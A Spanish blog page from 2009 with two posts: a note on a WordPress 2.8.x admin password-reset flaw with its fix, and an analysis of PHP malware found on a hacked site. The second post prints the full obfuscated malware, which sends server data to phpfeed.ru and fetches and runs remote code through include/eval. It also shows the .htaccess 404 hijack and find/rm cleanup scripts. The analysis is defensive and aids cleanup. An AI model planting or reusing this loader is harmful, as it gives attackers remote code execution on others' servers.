12
ago/09
2

Grave problema de seguridad en WordPress!

grave problema de seguridad en WordPressEn el día de ayer ha detectado un grave agujero de seguridad en el control de acceso al panel de administración de WordPress.
Este problema, permitiría a cualquier usuario resetear la clave del administrador del blog.
En realidad el hacker no obtendría la clave, sino que simplemente podría cambiarla a su gusto y tomar un control absoluto de tu sitio/blog.

Para resolver este problema hay 2 alternativas, la primera y más recomendable es actualizar WordPress a su versión 2.8.4 (recién salidita del horno) y la otra, un poco más artesanal, sería editar el archivo “wp-login.php” y reemplazar donde dice “if (empty($key))” por “if(empty($key) || is_array($key))”.

Este problema ocurre únicamente con las versiones de WordPress 2.8.x.

Por más información, les recomiendo leer el siguiente post.

4
ago/09
4

Tu sitio web está seguro?

virusHace unos días me consultaron sobre unos archivos extraños que aparecieron en un sitio web. Al investigar la situación, me di cuenta que dicho sitio había sido intervenido por un virus y casi todas las carpetas habían sido afectadas.

Paso a explicar.

Cuando un directorios público queda (mal) configurado con permisos de escritura (rwx 666), es pasible de ser invadido con archivos de cualquier naturaleza, imágenes, videos, en particular scripts PHP. Con scripts Perl (.pl) este problema no ocurre ya que requieren permisos especiales de ejecución, sin embargo con PHP esto es diferente.

Los archivos que se publican tienen extensión PHP y su nombre es un número aleatorio (tal como pueden ver en la imagen).

listado de archivos

El contenido de dichos archivos es siempre el mismo y su código es:

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z=”/?”.base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”.base64_encode($g).”.”.base64_encode($h).”.e.”.base64_encode($i).”.”.base64_encode($j);$f=base64_decode(“cGhwZmVlZC5ydQ==”);if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])==”bfb4fd4b1e62dd38924d48daba76f31f”) $f=$_REQUEST["id"];if((include(base64_decode(“aHR0cDovL2Fkcy4=”).$f.$z)));else if($c=file_get_contents(base64_decode(“aHR0cDovLzcu”).$f.$z))eval($c);else{$cu=curl_init(base64_decode(“aHR0cDovLzcxLg==”).$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>

Parseando, decodificando y analizando éste código, se puede identificar que cuando es ejecutado se invoca a otro sitio web (phpfeed.ru), obtiene un código PHP y lo ejecuta.

Hasta el momento no he podido obtener dicho código, pero si tenemos en cuenta los subdominios que invoca (ads.phpfeed.ru, 71.phpfeed.ru o 7.phpfeed.ru) y el propósito del sitio phpfeed.ru aseguraría que se trata de un servidor de publicidad.

sitio phpfeed.ru

Vale la pena destacar, que junto a cada uno de estos archivos, se encontrará también un “.htaccess”, cuyo contenido es el siguiente:

Options -MultiViews
ErrorDocument 404 //templates/ja_jamba/167953php

Ahora bien, si analizamos el conjunto de archivos, podemos identificar que cada vez que se realiza una petición inválida a cualquiera de los directorios, en lugar de mostrarse la página 404 configurada para el sitio web, se ejecutará el archivo PHP y a continuación se presentará una página con publicidad (esto último es un supuesto).

Cómo resolvemos este problema?

Antes que nada, cambiarle la seguridad a todos los directorios a “644″ lo que significa que todos pueden leer y solo el dueño del sitio puede escribir.

Luego, identificar los directorios que tienen este problema, para lo que les recomiendo publicar el siguiente script en la raiz de su web y ejecutarlo:

<?php print `find . -name “*.php” -size 1469c` ?>

<?php print `find . -name “.htaccess” -size 85c` ?>

Este script listará todos los archivos PHP y .htaccess que cumplan con la condición de tamaño. Cuidado con la .htaccess que podría retornar algún archivo válido. En el otro caso dudo que justo tenga el mismo tamaño.

Por último, eliminar los archivos infectados! Copiar y ejecutar el siguiente código en la raíz del web:

<?php print `find . -name “*.php” -size 1469c -exec rm -f {} \` ?>
<?php print `find . -name “.htaccess” -size 85c -exec rm -f {} \` ?>

Ahh, algo más…

Me llamó la atención la poca información que hay al respecto, y la que hay está en ruso o rumano!

Buscando un poco más, encontré con que se trata de la mutación de un virus. El actual invoca al servidor “phpfeed.ru” mientras que el anterior a “rssnews.ws”.

Acá pueden encontrar algo más de información http://www.google.com/search?q=”rssnews.ws”